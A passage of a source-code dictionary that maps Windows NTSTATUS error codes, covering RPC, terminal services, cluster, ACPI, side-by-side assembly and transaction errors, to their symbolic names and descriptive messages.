description\"),\n        0xC0030001: (\"RPC_NT_NO_MORE_ENTRIES\",\"The list of RPC servers available for auto-handle binding has been exhausted.\"),\n        0xC0030002: (\"RPC_NT_SS_CHAR_TRANS_OPEN_FAIL\",\"The file designated by DCERPCCHARTRANS cannot be opened.\"),\n        0xC0030003: (\"RPC_NT_SS_CHAR_TRANS_SHORT_FILE\",\"The file containing the character translation table has fewer than 512 bytes.\"),\n        0xC0030004: (\"RPC_NT_SS_IN_NULL_CONTEXT\",\"A null context handle is passed as an [in] parameter.\"),\n        0xC0030005: (\"RPC_NT_SS_CONTEXT_MISMATCH\",\"The context handle does not match any known context handles.\"),\n        0xC0030006: (\"RPC_NT_SS_CONTEXT_DAMAGED\",\"The context handle changed during a call.\"),\n        0xC0030007: (\"RPC_NT_SS_HANDLES_MISMATCH\",\"The binding handles passed to an RPC do not match.\"),\n        0xC0030008: (\"RPC_NT_SS_CANNOT_GET_CALL_HANDLE\",\"The stub is unable to get the call handle.\"),\n        0xC0030009: (\"RPC_NT_NULL_REF_POINTER\",\"A null reference pointer was passed to the stub.\"),\n        0xC003000A: (\"RPC_NT_ENUM_VALUE_OUT_OF_RANGE\",\"The enumeration value is out of range.\"),\n        0xC003000B: (\"RPC_NT_BYTE_COUNT_TOO_SMALL\",\"The byte count is too small.\"),\n        0xC003000C: (\"RPC_NT_BAD_STUB_DATA\",\"The stub received bad data.\"),\n        0xC0030059: (\"RPC_NT_INVALID_ES_ACTION\",\"Invalid operation on the encoding/decoding handle.\"),\n        0xC003005A: (\"RPC_NT_WRONG_ES_VERSION\",\"Incompatible version of the serializing package.\"),\n        0xC003005B: (\"RPC_NT_WRONG_STUB_VERSION\",\"Incompatible version of the RPC stub.\"),\n        0xC003005C: (\"RPC_NT_INVALID_PIPE_OBJECT\",\"The RPC pipe object is invalid or corrupt.\"),\n        0xC003005D: (\"RPC_NT_INVALID_PIPE_OPERATION\",\"An invalid operation was attempted on an RPC pipe object.\"),\n        0xC003005E: (\"RPC_NT_WRONG_PIPE_VERSION\",\"Unsupported RPC pipe version.\"),\n        0xC003005F: (\"RPC_NT_PIPE_CLOSED\",\"The RPC pipe object has already been closed.\"),\n        0xC0030060: (\"RPC_NT_PIPE_DISCIPLINE_ERROR\",\"The RPC call completed before all pipes were processed.\"),\n        0xC0030061: (\"RPC_NT_PIPE_EMPTY\",\"No more data is available from the RPC pipe.\"),\n        0xC0040035: (\"STATUS_PNP_BAD_MPS_TABLE\",\"A device is missing in the system BIOS MPS table. This device will not be used. Contact your system vendor for a system BIOS update.\"),\n        0xC0040036: (\"STATUS_PNP_TRANSLATION_FAILED\",\"A translator failed to translate resources.\"),\n        0xC0040037: (\"STATUS_PNP_IRQ_TRANSLATION_FAILED\",\"An IRQ translator failed to translate resources.\"),\n        0xC0040038: (\"STATUS_PNP_INVALID_ID\",\"Driver %2 returned an invalid ID for a child device (%3).\"),\n        0xC0040039: (\"STATUS_IO_REISSUE_AS_CACHED\",\"Reissue the given operation as a cached I/O operation\"),\n        0xC00A0001: (\"STATUS_CTX_WINSTATION_NAME_INVALID\",\"Session name %1 is invalid.\"),\n        0xC00A0002: (\"STATUS_CTX_INVALID_PD\",\"The protocol driver %1 is invalid.\"),\n        0xC00A0003: (\"STATUS_CTX_PD_NOT_FOUND\",\"The protocol driver %1 was not found in the system path.\"),\n        0xC00A0006: (\"STATUS_CTX_CLOSE_PENDING\",\"A close operation is pending on the terminal connection.\"),\n        0xC00A0007: (\"STATUS_CTX_NO_OUTBUF\",\"No free output buffers are available.\"),\n        0xC00A0008: (\"STATUS_CTX_MODEM_INF_NOT_FOUND\",\"The MODEM.INF file was not found.\"),\n        0xC00A0009: (\"STATUS_CTX_INVALID_MODEMNAME\",\"The modem (%1) was not found in the MODEM.INF file.\"),\n        0xC00A000A: (\"STATUS_CTX_RESPONSE_ERROR\",\"The modem did not accept the command sent to it. Verify that the configured modem name matches the attached modem.\"),\n        0xC00A000B: (\"STATUS_CTX_MODEM_RESPONSE_TIMEOUT\",\"The modem did not respond to the command sent to it. Verify that the modem cable is properly attached and the modem is turned on.\"),\n        0xC00A000C: (\"STATUS_CTX_MODEM_RESPONSE_NO_CARRIER\",\"Carrier detection has failed or the carrier has been dropped due to disconnection.\"),\n        0xC00A000D: (\"STATUS_CTX_MODEM_RESPONSE_NO_DIALTONE\",\"A dial tone was not detected within the required time. Verify that the phone cable is properly attached and functional.\"),\n        0xC00A000E: (\"STATUS_CTX_MODEM_RESPONSE_BUSY\",\"A busy signal was detected at a remote site on callback.\"),\n        0xC00A000F: (\"STATUS_CTX_MODEM_RESPONSE_VOICE\",\"A voice was detected at a remote site on callback.\"),\n        0xC00A0010: (\"STATUS_CTX_TD_ERROR\",\"Transport driver error.\"),\n        0xC00A0012: (\"STATUS_CTX_LICENSE_CLIENT_INVALID\",\"The client you are using is not licensed to use this system. Your logon request is denied.\"),\n        0xC00A0013: (\"STATUS_CTX_LICENSE_NOT_AVAILABLE\",\"The system has reached its licensed logon limit. Try again later.\"),\n        0xC00A0014: (\"STATUS_CTX_LICENSE_EXPIRED\",\"The system license has expired. Your logon request is denied.\"),\n        0xC00A0015: (\"STATUS_CTX_WINSTATION_NOT_FOUND\",\"The specified session cannot be found.\"),\n        0xC00A0016: (\"STATUS_CTX_WINSTATION_NAME_COLLISION\",\"The specified session name is already in use.\"),\n        0xC00A0017: (\"STATUS_CTX_WINSTATION_BUSY\",\"The requested operation cannot be completed because the terminal connection is currently processing a connect, disconnect, reset, or delete operation.\"),\n        0xC00A0018: (\"STATUS_CTX_BAD_VIDEO_MODE\",\"An attempt has been made to connect to a session whose video mode is not supported by the current client.\"),\n        0xC00A0022: (\"STATUS_CTX_GRAPHICS_INVALID\",\"The application attempted to enable DOS graphics mode. DOS graphics mode is not supported.\"),\n        0xC00A0024: (\"STATUS_CTX_NOT_CONSOLE\",\"The requested operation can be performed only on the system console. This is most often the result of a driver or system DLL requiring direct console access.\"),\n        0xC00A0026: (\"STATUS_CTX_CLIENT_QUERY_TIMEOUT\",\"The client failed to respond to the server connect message.\"),\n        0xC00A0027: (\"STATUS_CTX_CONSOLE_DISCONNECT\",\"Disconnecting the console session is not supported.\"),\n        0xC00A0028: (\"STATUS_CTX_CONSOLE_CONNECT\",\"Reconnecting a disconnected session to the console is not supported.\"),\n        0xC00A002A: (\"STATUS_CTX_SHADOW_DENIED\",\"The request to control another session remotely was denied.\"),\n        0xC00A002B: (\"STATUS_CTX_WINSTATION_ACCESS_DENIED\",\"A process has requested access to a session, but has not been granted those access rights.\"),\n        0xC00A002E: (\"STATUS_CTX_INVALID_WD\",\"The terminal connection driver %1 is invalid.\"),\n        0xC00A002F: (\"STATUS_CTX_WD_NOT_FOUND\",\"The terminal connection driver %1 was not found in the system path.\"),\n        0xC00A0030: (\"STATUS_CTX_SHADOW_INVALID\",\"The requested session cannot be controlled remotely. You cannot control your own session, a session that is trying to control your session, a session that has no user logged on, or other sessions from the console.\"),\n        0xC00A0031: (\"STATUS_CTX_SHADOW_DISABLED\",\"The requested session is not configured to allow remote control.\"),\n        0xC00A0032: (\"STATUS_RDP_PROTOCOL_ERROR\",\"The RDP protocol component %2 detected an error in the protocol stream and has disconnected the client.\"),\n        0xC00A0033: (\"STATUS_CTX_CLIENT_LICENSE_NOT_SET\",\"Your request to connect to this terminal server has been rejected. Your terminal server client license number has not been entered for this copy of the terminal client. Contact your system administrator for help in entering a valid, unique license number for this terminal server client. Click OK to continue.\"),\n        0xC00A0034: (\"STATUS_CTX_CLIENT_LICENSE_IN_USE\",\"Your request to connect to this terminal server has been rejected. Your terminal server client license number is currently being used by another user. Contact your system administrator to obtain a new copy of the terminal server client with a valid, unique license number. Click OK to continue.\"),\n        0xC00A0035: (\"STATUS_CTX_SHADOW_ENDED_BY_MODE_CHANGE\",\"The remote control of the console was terminated because the display mode was changed. Changing the display mode in a remote control session is not supported.\"),\n        0xC00A0036: (\"STATUS_CTX_SHADOW_NOT_RUNNING\",\"Remote control could not be terminated because the specified session is not currently being remotely controlled.\"),\n        0xC00A0037: (\"STATUS_CTX_LOGON_DISABLED\",\"Your interactive logon privilege has been disabled. Contact your system administrator.\"),\n        0xC00A0038: (\"STATUS_CTX_SECURITY_LAYER_ERROR\",\"The terminal server security layer detected an error in the protocol stream and has disconnected the client.\"),\n        0xC00A0039: (\"STATUS_TS_INCOMPATIBLE_SESSIONS\",\"The target session is incompatible with the current session.\"),\n        0xC00B0001: (\"STATUS_MUI_FILE_NOT_FOUND\",\"The resource loader failed to find an MUI file.\"),\n        0xC00B0002: (\"STATUS_MUI_INVALID_FILE\",\"The resource loader failed to load an MUI file because the file failed to pass validation.\"),\n        0xC00B0003: (\"STATUS_MUI_INVALID_RC_CONFIG\",\"The RC manifest is corrupted with garbage data, is an unsupported version, or is missing a required item.\"),\n        0xC00B0004: (\"STATUS_MUI_INVALID_LOCALE_NAME\",\"The RC manifest has an invalid culture name.\"),\n        0xC00B0005: (\"STATUS_MUI_INVALID_ULTIMATEFALLBACK_NAME\",\"The RC manifest has and invalid ultimate fallback name.\"),\n        0xC00B0006: (\"STATUS_MUI_FILE_NOT_LOADED\",\"The resource loader cache does not have a loaded MUI entry.\"),\n        0xC00B0007: (\"STATUS_RESOURCE_ENUM_USER_STOP\",\"The user stopped resource enumeration.\"),\n        0xC0130001: (\"STATUS_CLUSTER_INVALID_NODE\",\"The cluster node is not valid.\"),\n        0xC0130002: (\"STATUS_CLUSTER_NODE_EXISTS\",\"The cluster node already exists.\"),\n        0xC0130003: (\"STATUS_CLUSTER_JOIN_IN_PROGRESS\",\"A node is in the process of joining the cluster.\"),\n        0xC0130004: (\"STATUS_CLUSTER_NODE_NOT_FOUND\",\"The cluster node was not found.\"),\n        0xC0130005: (\"STATUS_CLUSTER_LOCAL_NODE_NOT_FOUND\",\"The cluster local node information was not found.\"),\n        0xC0130006: (\"STATUS_CLUSTER_NETWORK_EXISTS\",\"The cluster network already exists.\"),\n        0xC0130007: (\"STATUS_CLUSTER_NETWORK_NOT_FOUND\",\"The cluster network was not found.\"),\n        0xC0130008: (\"STATUS_CLUSTER_NETINTERFACE_EXISTS\",\"The cluster network interface already exists.\"),\n        0xC0130009: (\"STATUS_CLUSTER_NETINTERFACE_NOT_FOUND\",\"The cluster network interface was not found.\"),\n        0xC013000A: (\"STATUS_CLUSTER_INVALID_REQUEST\",\"The cluster request is not valid for this object.\"),\n        0xC013000B: (\"STATUS_CLUSTER_INVALID_NETWORK_PROVIDER\",\"The cluster network provider is not valid.\"),\n        0xC013000C: (\"STATUS_CLUSTER_NODE_DOWN\",\"The cluster node is down.\"),\n        0xC013000D: (\"STATUS_CLUSTER_NODE_UNREACHABLE\",\"The cluster node is not reachable.\"),\n        0xC013000E: (\"STATUS_CLUSTER_NODE_NOT_MEMBER\",\"The cluster node is not a member of the cluster.\"),\n        0xC013000F: (\"STATUS_CLUSTER_JOIN_NOT_IN_PROGRESS\",\"A cluster join operation is not in progress.\"),\n        0xC0130010: (\"STATUS_CLUSTER_INVALID_NETWORK\",\"The cluster network is not valid.\"),\n        0xC0130011: (\"STATUS_CLUSTER_NO_NET_ADAPTERS\",\"No network adapters are available.\"),\n        0xC0130012: (\"STATUS_CLUSTER_NODE_UP\",\"The cluster node is up.\"),\n        0xC0130013: (\"STATUS_CLUSTER_NODE_PAUSED\",\"The cluster node is paused.\"),\n        0xC0130014: (\"STATUS_CLUSTER_NODE_NOT_PAUSED\",\"The cluster node is not paused.\"),\n        0xC0130015: (\"STATUS_CLUSTER_NO_SECURITY_CONTEXT\",\"No cluster security context is available.\"),\n        0xC0130016: (\"STATUS_CLUSTER_NETWORK_NOT_INTERNAL\",\"The cluster network is not configured for internal cluster communication.\"),\n        0xC0130017: (\"STATUS_CLUSTER_POISONED\",\"The cluster node has been poisoned.\"),\n        0xC0140001: (\"STATUS_ACPI_INVALID_OPCODE\",\"An attempt was made to run an invalid AML opcode.\"),\n        0xC0140002: (\"STATUS_ACPI_STACK_OVERFLOW\",\"The AML interpreter stack has overflowed.\"),\n        0xC0140003: (\"STATUS_ACPI_ASSERT_FAILED\",\"An inconsistent state has occurred.\"),\n        0xC0140004: (\"STATUS_ACPI_INVALID_INDEX\",\"An attempt was made to access an array outside its bounds.\"),\n        0xC0140005: (\"STATUS_ACPI_INVALID_ARGUMENT\",\"A required argument was not specified.\"),\n        0xC0140006: (\"STATUS_ACPI_FATAL\",\"A fatal error has occurred.\"),\n        0xC0140007: (\"STATUS_ACPI_INVALID_SUPERNAME\",\"An invalid SuperName was specified.\"),\n        0xC0140008: (\"STATUS_ACPI_INVALID_ARGTYPE\",\"An argument with an incorrect type was specified.\"),\n        0xC0140009: (\"STATUS_ACPI_INVALID_OBJTYPE\",\"An object with an incorrect type was specified.\"),\n        0xC014000A: (\"STATUS_ACPI_INVALID_TARGETTYPE\",\"A target with an incorrect type was specified.\"),\n        0xC014000B: (\"STATUS_ACPI_INCORRECT_ARGUMENT_COUNT\",\"An incorrect number of arguments was specified.\"),\n        0xC014000C: (\"STATUS_ACPI_ADDRESS_NOT_MAPPED\",\"An address failed to translate.\"),\n        0xC014000D: (\"STATUS_ACPI_INVALID_EVENTTYPE\",\"An incorrect event type was specified.\"),\n        0xC014000E: (\"STATUS_ACPI_HANDLER_COLLISION\",\"A handler for the target already exists.\"),\n        0xC014000F: (\"STATUS_ACPI_INVALID_DATA\",\"Invalid data for the target was specified.\"),\n        0xC0140010: (\"STATUS_ACPI_INVALID_REGION\",\"An invalid region for the target was specified.\"),\n        0xC0140011: (\"STATUS_ACPI_INVALID_ACCESS_SIZE\",\"An attempt was made to access a field outside the defined range.\"),\n        0xC0140012: (\"STATUS_ACPI_ACQUIRE_GLOBAL_LOCK\",\"The global system lock could not be acquired.\"),\n        0xC0140013: (\"STATUS_ACPI_ALREADY_INITIALIZED\",\"An attempt was made to reinitialize the ACPI subsystem.\"),\n        0xC0140014: (\"STATUS_ACPI_NOT_INITIALIZED\",\"The ACPI subsystem has not been initialized.\"),\n        0xC0140015: (\"STATUS_ACPI_INVALID_MUTEX_LEVEL\",\"An incorrect mutex was specified.\"),\n        0xC0140016: (\"STATUS_ACPI_MUTEX_NOT_OWNED\",\"The mutex is not currently owned.\"),\n        0xC0140017: (\"STATUS_ACPI_MUTEX_NOT_OWNER\",\"An attempt was made to access the mutex by a process that was not the owner.\"),\n        0xC0140018: (\"STATUS_ACPI_RS_ACCESS\",\"An error occurred during an access to region space.\"),\n        0xC0140019: (\"STATUS_ACPI_INVALID_TABLE\",\"An attempt was made to use an incorrect table.\"),\n        0xC0140020: (\"STATUS_ACPI_REG_HANDLER_FAILED\",\"The registration of an ACPI event failed.\"),\n        0xC0140021: (\"STATUS_ACPI_POWER_REQUEST_FAILED\",\"An ACPI power object failed to transition state.\"),\n        0xC0150001: (\"STATUS_SXS_SECTION_NOT_FOUND\",\"The requested section is not present in the activation context.\"),\n        0xC0150002: (\"STATUS_SXS_CANT_GEN_ACTCTX\",\"Windows was unble to process the application binding information. Refer to the system event log for further information.\"),\n        0xC0150003: (\"STATUS_SXS_INVALID_ACTCTXDATA_FORMAT\",\"The application binding data format is invalid.\"),\n        0xC0150004: (\"STATUS_SXS_ASSEMBLY_NOT_FOUND\",\"The referenced assembly is not installed on the system.\"),\n        0xC0150005: (\"STATUS_SXS_MANIFEST_FORMAT_ERROR\",\"The manifest file does not begin with the required tag and format information.\"),\n        0xC0150006: (\"STATUS_SXS_MANIFEST_PARSE_ERROR\",\"The manifest file contains one or more syntax errors.\"),\n        0xC0150007: (\"STATUS_SXS_ACTIVATION_CONTEXT_DISABLED\",\"The application attempted to activate a disabled activation context.\"),\n        0xC0150008: (\"STATUS_SXS_KEY_NOT_FOUND\",\"The requested lookup key was not found in any active activation context.\"),\n        0xC0150009: (\"STATUS_SXS_VERSION_CONFLICT\",\"A component version required by the application conflicts with another component version that is already active.\"),\n        0xC015000A: (\"STATUS_SXS_WRONG_SECTION_TYPE\",\"The type requested activation context section does not match the query API used.\"),\n        0xC015000B: (\"STATUS_SXS_THREAD_QUERIES_DISABLED\",\"Lack of system resources has required isolated activation to be disabled for the current thread of execution.\"),\n        0xC015000C: (\"STATUS_SXS_ASSEMBLY_MISSING\",\"The referenced assembly could not be found.\"),\n        0xC015000E: (\"STATUS_SXS_PROCESS_DEFAULT_ALREADY_SET\",\"An attempt to set the process default activation context failed because the process default activation context was already set.\"),\n        0xC015000F: (\"STATUS_SXS_EARLY_DEACTIVATION\",\"The activation context being deactivated is not the most recently activated one.\"),\n        0xC0150010: (\"STATUS_SXS_INVALID_DEACTIVATION\",\"The activation context being deactivated is not active for the current thread of execution.\"),\n        0xC0150011: (\"STATUS_SXS_MULTIPLE_DEACTIVATION\",\"The activation context being deactivated has already been deactivated.\"),\n        0xC0150012: (\"STATUS_SXS_SYSTEM_DEFAULT_ACTIVATION_CONTEXT_EMPTY\",\"The activation context of the system default assembly could not be generated.\"),\n        0xC0150013: (\"STATUS_SXS_PROCESS_TERMINATION_REQUESTED\",\"A component used by the isolation facility has requested that the process be terminated.\"),\n        0xC0150014: (\"STATUS_SXS_CORRUPT_ACTIVATION_STACK\",\"The activation context activation stack for the running thread of execution is corrupt.\"),\n        0xC0150015: (\"STATUS_SXS_CORRUPTION\",\"The application isolation metadata for this process or thread has become corrupt.\"),\n        0xC0150016: (\"STATUS_SXS_INVALID_IDENTITY_ATTRIBUTE_VALUE\",\"The value of an attribute in an identity is not within the legal range.\"),\n        0xC0150017: (\"STATUS_SXS_INVALID_IDENTITY_ATTRIBUTE_NAME\",\"The name of an attribute in an identity is not within the legal range.\"),\n        0xC0150018: (\"STATUS_SXS_IDENTITY_DUPLICATE_ATTRIBUTE\",\"An identity contains two definitions for the same attribute.\"),\n        0xC0150019: (\"STATUS_SXS_IDENTITY_PARSE_ERROR\",\"The identity string is malformed. This may be due to a trailing comma, more than two unnamed attributes, a missing attribute name, or a missing attribute value.\"),\n        0xC015001A: (\"STATUS_SXS_COMPONENT_STORE_CORRUPT\",\"The component store has become corrupted.\"),\n        0xC015001B: (\"STATUS_SXS_FILE_HASH_MISMATCH\",\"A component's file does not match the verification information present in the component manifest.\"),\n        0xC015001C: (\"STATUS_SXS_MANIFEST_IDENTITY_SAME_BUT_CONTENTS_DIFFERENT\",\"The identities of the manifests are identical, but their contents are different.\"),\n        0xC015001D: (\"STATUS_SXS_IDENTITIES_DIFFERENT\",\"The component identities are different.\"),\n        0xC015001E: (\"STATUS_SXS_ASSEMBLY_IS_NOT_A_DEPLOYMENT\",\"The assembly is not a deployment.\"),\n        0xC015001F: (\"STATUS_SXS_FILE_NOT_PART_OF_ASSEMBLY\",\"The file is not a part of the assembly.\"),\n        0xC0150020: (\"STATUS_ADVANCED_INSTALLER_FAILED\",\"An advanced installer failed during setup or servicing.\"),\n        0xC0150021: (\"STATUS_XML_ENCODING_MISMATCH\",\"The character encoding in the XML declaration did not match the encoding used in the document.\"),\n        0xC0150022: (\"STATUS_SXS_MANIFEST_TOO_BIG\",\"The size of the manifest exceeds the maximum allowed.\"),\n        0xC0150023: (\"STATUS_SXS_SETTING_NOT_REGISTERED\",\"The setting is not registered.\"),\n        0xC0150024: (\"STATUS_SXS_TRANSACTION_CLOSURE_INCOMPLETE\",\"One or more required transaction members are not present.\"),\n        0xC0150025: (\"STATUS_SMI_PRIMITIVE_INSTALLER_FAILED\",\"The SMI primitive installer failed during setup or servicing.\"),\n        0xC0150026: (\"STATUS_GENERIC_COMMAND_FAILED\",\"A generic command executable returned a result that indicates failure.\"),\n        0xC0150027: (\"STATUS_SXS_FILE_HASH_MISSING\",\"A component is missing file verification information in its manifest.\"),\n        0xC0190001: (\"STATUS_TRANSACTIONAL_CONFLICT\",\"The function attempted to use a name that is reserved for use by another transaction.\"),\n        0xC0190002: (\"STATUS_INVALID_TRANSACTION\",\"The transaction handle associated with this operation is invalid.\"),\n        0xC0190003: (\"STATUS_TRANSACTION_NOT_ACTIVE\",\"The requested operation was made in the context of a transaction that is no longer active.\"),\n        0xC0190004: (\"STATUS_TM_INITIALIZATION_FAILED\",\"The transaction manager was unable to be successfully initialized. Transacted operations are not supported.\"),\n        0xC0190005: (\"STATUS_RM_NOT_ACTIVE\",\"Transaction support within the specified file system resource manager was not started or was shut down due to an error.\"),\n        0xC0190006: (\"STATUS_RM_METADATA_CORRUPT\",\"The metadata of the resource manager has been corrupted. The resource manager will not function.\"),\n        0xC0190007: (\"STATUS_TRANSACTION_NOT_JOINED\",\"The resource manager attempted to prepare a transaction that it has not successfully joined.\"),\n        0xC0190008: (\"STATUS_DIRECTORY_NOT_RM\",\"The specified directory does not contain a file system resource manager.\"),\n        0xC019000A: (\"STATUS_TRANSACTIONS_UNSUPPORTED_REMOTE\",\"The remote server or share does not support transacted file operations.\"),\n        0xC019000B: (\"STATUS_LOG_RESIZE_INVALID_SIZE\",\"The requested log size for the file system resource manager is invalid.\"),\n        0xC019000C: (\"STATUS_REMOTE_FILE_VERSION_MISMATCH\",\"The remote server sent mismatching version number or Fid for a file opened with transactions.\"),\n        0xC019000F: (\"STATUS_CRM_PROTOCOL_ALREADY_EXISTS\",\"The resource manager tried to register a protocol that already exists.\"),\n        0xC0190010: (\"STATUS_TRANSACTION_PROPAGATION_FAILED\",\"The attempt to propagate the transaction failed.\"),\n        0xC0190011: (\"STATUS_CRM_PROTOCOL_NOT_FOUND\",\"The requested propagation protocol was not registered as a CRM.\"),\n        0xC0190012: (\"STATUS_TRANSACTION_SUPERIOR_EXISTS\",\"The transaction object already has a superior enlistment, and the caller attempted an operation that would have created a new superior. Only a single superior enlistment is allowed.\"),\n        0xC0190013: (\"STATUS_TRANSACTION_REQUEST_NOT_VALID\",\"The requested operation is not valid on the transaction object in its current state.\"),\n        0xC0190014: (\"STATUS_TRANSACTION_NOT_REQUESTED\",\"The caller has called a response API, but the response is not expected because the transaction manager did not issue the corresponding request to the caller.\"),\n        0xC0190015: (\"STATUS_TRANSACTION_ALREADY_ABORTED\",\"It is too late to perform the requested operation, because the transaction has already been aborted.\"),\n        0xC0190016: (\"STATUS_TRANSACTION_ALREADY_COMMITTED\",\"It is too late to perform the requested operation, because the transaction has already been committed.\"),\n        0xC0190017: (\"STATUS_TRANSACTION_INVALID_MARSHALL_BUFFER\",\"The buffer passed in to NtPushTransaction or NtPullTransaction is not in a valid format.\"),\n        0xC0190018: (\"STATUS_CURRENT_TRANSACTION_NOT_VALID\",\"The current transaction context associated with the thread is not a valid handle to a transaction object.\"),\n        0xC0190019: (\"STATUS_LOG_GROWTH_FAILED\",\"An attempt to create space in the transactional resource manager's log failed. The failure status has been recorded in the event log.\"),\n        0xC0190021: (\"STATUS_OBJECT_NO_LONGER_EXISTS\",\"The object (file, stream, or link) that corresponds to the handle has been deleted by a transaction savepoint rollback.\"),\n        0xC0190022: (\"STATUS_STREAM_MINIVERSION_NOT_FOUND\",\"The specified file miniversion was not found for this transacted file open.\"),\n        0xC0190023: (\"STATUS_STREAM_MINIVERSION_NOT_VALID\",\"The specified file miniversion was found but has been invalidated. The most likely cause is a transaction savepoint rollback.\"),\n        0xC0190024: (\"STATUS_MINIVERSION_INACCESSIBLE_FROM_SPECIFIED_TRANSACTION\",\"A miniversion may be opened only in the context of the transaction that created it.\"),\n        0xC0190025: (\"STATUS_CANT_OPEN_MINIVERSION_WITH_MODIFY_INTENT\",\"It is not possible to open a miniversion with modify access.\"),\n        0xC0190026: (\"STATUS_CANT_CREATE_MORE_STREAM_MINIVERSIONS\",\"It is not possible to create any more miniversions for this stream.\"),\n        0xC0190028: (\"STATUS_HANDLE_NO_LONGER_VALID\",\"The handle has been invalidated by a transaction. The most likely cause is the presence of memory mapping on a file or an open handle when the transaction ended or rolled back to savepoint.\"),\n        0xC0190030: (\"STATUS_LOG_CORRUPTION_DETECTED\",\"The log data is corrupt.\"),\n        0xC0190032: (\"STATUS_RM_DISCONNECTED\",\"The transaction outcome is unavailable because the resource manager responsible for it is disconnected.\"),\n        0xC0190033: (\"STATUS_ENLISTMENT_NOT_SUPERIOR\",\"The request was rejected because the enlistment in question is not a superior enlistment.\"),\n        0xC0190036: (\"STATUS_FILE_IDENTITY_NOT_PERSISTENT\",\"The file cannot be opened in a transaction because its identity depends on the outcome of an unresolved transaction.\"),\n        0xC0190037: (\"STATUS_CANT_BREAK_TRANSACTIONAL_DEPENDENCY\",\"The operation cannot be performed because another transaction is depending on this property not changing.\"),\n        0xC0190038: (\"STATUS_CANT_CROSS_RM_BOUNDARY\",\"The operation would involve a single file with two transactional resource managers and is, therefore, not allowed.\"),\n        0xC0190039: (\"STATUS_TXF_DIR_NOT_EMPTY\",\"The $Txf directory must be empty for this operation to succeed.\"),\n        0xC019003A: (\"STATUS_INDOUBT_TRANSACTIONS_EXIST\",\"The operation would leave a transactional resource manager in an inconsistent state and is therefore not allowed.\"),\n        0xC019003B: (\"STATUS_TM_VOLATILE\",\"The operation could not be completed because the transaction manager does not have a log.\"),\n        0xC019003C: (\"STATUS_ROLLBACK_TIMER_EXPIRED\",\"A rollback could not be scheduled because a previously scheduled rollback has already executed or been queued for execution.\"),\n        0xC019003D: (\"STATUS_TXF_ATTRIBUTE_CORRUPT\",\"The transactional metadata attribute on the file or directory %hs is corrupt and unreadable.\"),\n        0xC019003E: (\"STATUS_EFS_NOT_ALLOWED_IN_TRANSACTION\",\"The encryption operation could not be completed because a transaction is active.\"),\n        0xC019003F: (\"STATUS_TRANSACTIONAL_OPEN_NOT_ALLOWED\",\"This object is not allowed to be opened in a transaction.\"),\n        0xC0190040: (\"STATUS_TRANSACTED_MAPPING_UNSUPPORTED_REMOTE\",\"Memory mapping (creating a mapped section) a remote file under a transaction is not supported.\"),\n        0xC0190043: (\"STATUS_TRANSACTION_REQUIRED_PROMOTION\",\"Promotion was required to allow the resource manager to enlist, but the transaction was set to disallow it.\"),\n        0xC0190044: (\"STATUS_CANNOT_EXECUTE_FILE_IN_TRANSACTION\",\"This file is open for modification in an unresolved transaction and may be opened for execute only by a transacted reader.\"),\n        0xC0190045: (\"STATUS_TRANSACTIONS_NOT_FROZEN\",\"The request to thaw frozen transactions was ignored because transactions were not previously frozen.\"),\n        0xC0190046: (\"STATUS_TRANSACTION_FREEZE_IN_PROGRESS\",\"Transactions cannot be frozen because a freeze is already in progress.\"),\n        0xC0190047: (\"STATUS_NOT_SNAPSHOT_VOLUME\",\"The target volume is not a snapshot volume. This operation is valid only on a volume mounted as a snapshot.\"),\n        0xC0190048: (\"STATUS_NO_SAVEPOINT_WITH_OPEN_FILES\",\"The savepoint operation failed because files are open on the transaction, which is not permitted.\"),\n        0xC0190049: (\"STATUS_SPARSE_NOT_ALLOWED_IN_TRANSACTION\",\"The sparse operation could not be completed because a transaction is active on the file.\"),\n        0xC019004A: (\"STATUS_TM_IDENTITY_MISMATCH\",\"The call to create a transaction manager object failed because the Tm Identity that is stored in the log file does not match the Tm Identity that was passed in as an argument.\"),\n        0xC019004B: (\"STATUS_FLOATED_SECTION\",\"I/O was attempted on a section object that has been floated as a result of a transaction ending. There is no valid data.\"),\n        0xC019004C: (\"STATUS_CANNOT_ACCEPT_TRANSACTED_WORK\",\"The transactional resource manager cannot currently accept transacted work due to a transient condition, such as low resources.\"),\n        0xC019004D: (\"STATUS_CANNOT_ABORT_TRANSACTIONS\",\"The transactional resource manager had too many transactions outstanding that could not be aborted. The transactional resource manager has been shut down.\"),\n        0xC019004E: (\"STATUS_TRANSACTION_NOT_FOUND\",\"The specified transaction was unable to be opened because it was not found.\"),\n        0xC019004F: (\"STATUS_RESOURCEMANAGER_NOT_FOUND\",\"The specified resource manager was unable to be opened because it was not found.\"),\n        0xC0190050: (\"STATUS_ENLISTMENT_NOT_FOUND\",\"The specified enlistment was unable to be opened because it was not found.\"),\n        0xC0190051: (\"STATUS_TRANSACTIONMANAGER_NOT_FOUND\",\"The specified transaction manager was unable to be opened because it was not found.\"),\n        0xC0190052: (\"STATUS_TRANSACTIONMANAGER_NOT_ONLINE\",\"The specified resource manager was unable to create an enlistment because its associated transaction manager is not online.\"),\n        0xC0190053: (\"STATUS_TRANSACTIONMANAGER_RECOVERY_NAME_COLLISION\",\"The specified transaction manager was unable to create the objects contained in its log file in the Ob namespace. Therefore, the transaction manager was unable to recover.\"),\n        0xC0190054: (\"STATUS_TRANSACTION_NOT_ROOT\",\"The call to create a superior enlistment on this transaction object could not be completed because the transaction object specified for the enlistment is a subordinate branch of the transaction. Only the root of the transaction can be enlisted as a superior.\"),\n        0xC0190055: (\"STATUS_TRANSACTION_OBJECT_EXPIRED\",\"Because the associated transaction manager or resource manager has been closed, the handle is no longer valid.\"),\n        0xC0190056: (\"STATUS_COMPRESSION_NOT_ALLOWED_IN_TRANSACTION\",\"The compression operation could not be completed because a transaction is active on the file.\"),\n        0xC0190057: (\"STATUS_TRANSACTION_RESPONSE_NOT_ENLISTED\",\"The specified operation could not be performed on this superior enlistment because the enlistment was not created with the corresponding completion response in the NotificationMask.\"),\n        0xC0190058: (\"STATUS_TRANSACTION_RECORD_TOO_LONG\",\"The specified operation could not be performed because the record to be logged was too long. This can occur because either there are too many enlistments on this transaction or the combined RecoveryInformation being logged on behalf of those enlistments is too long.\"),\n        0xC0190059: (\"STATUS_NO_LINK_TRACKING_IN_TRANSACTION\",\"The link-tracking operation could not be completed because a transaction is active.\"),\n        0xC019005A: (\"STATUS_OPERATION_NOT_SUPPORTED_IN_TRANSACTION\",\"This operation cannot be performed in a transaction.\"),\n        0xC019005B: (\"STATUS_TRANSACTION_INTEGRITY_VIOLATED\",\"The kernel transaction manager had to abort or forget the transaction because it blocked forward progress.\"),\n        0xC0190060: (\"STATUS_EXPIRED_HANDLE\",\"The handle is no longer properly associated with its transaction. It may 